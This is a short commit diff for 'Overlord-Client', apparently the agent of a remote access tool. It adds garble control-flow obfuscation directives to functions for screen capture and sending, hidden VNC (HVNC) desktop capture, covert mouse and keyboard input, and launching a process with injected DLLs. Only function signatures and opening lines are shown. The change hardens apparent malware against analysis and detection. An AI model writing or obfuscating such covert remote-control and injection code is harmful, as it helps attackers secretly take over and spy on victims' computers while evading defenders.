add control flow obf for garble

Overlord-Client/cmd/agent/capture/capture.go

@@ -23,6 +23,7 @@ import (
 )
 
 func Loop(ctx context.Context, env *rt.Env) {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	defer recoverAndLog("capture loop", env.Cancel)
 	logCodecSupport()
 
@@ -85,6 +86,7 @@ func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
 }
 
 func CaptureAndSend(ctx context.Context, env *rt.Env) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	defer recoverAndLog("capture send", env.Cancel)
 
 	displays := activeDisplays()

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -754,6 +754,7 @@ func calcDirSize(dir string) int64 {
 }
 
 func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	if filePath == "" {
 		return 0, fmt.Errorf("empty file path")
 	}

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
 }
 
 func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	captureMu.Lock()
 	defer captureMu.Unlock()
 
@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
 }
 
 func hvncMouseMoveOnThread(display int, x, y int32) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	bounds, _ := hvncResolveCaptureBounds(display)
 	if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
 		hvncInputMu.Lock()
@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
 }
 
 func hvncMouseButtonOnThread(button int, down bool) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	pt := currentHVNCCursor()
 
 	if button == 0 && !down {
@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
 }
 
 func hvncKeyOnThread(vk uint16, down bool) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	pt := currentHVNCCursor()
 	hwnd := windowFromPoint(pt)
 	if hwnd == 0 {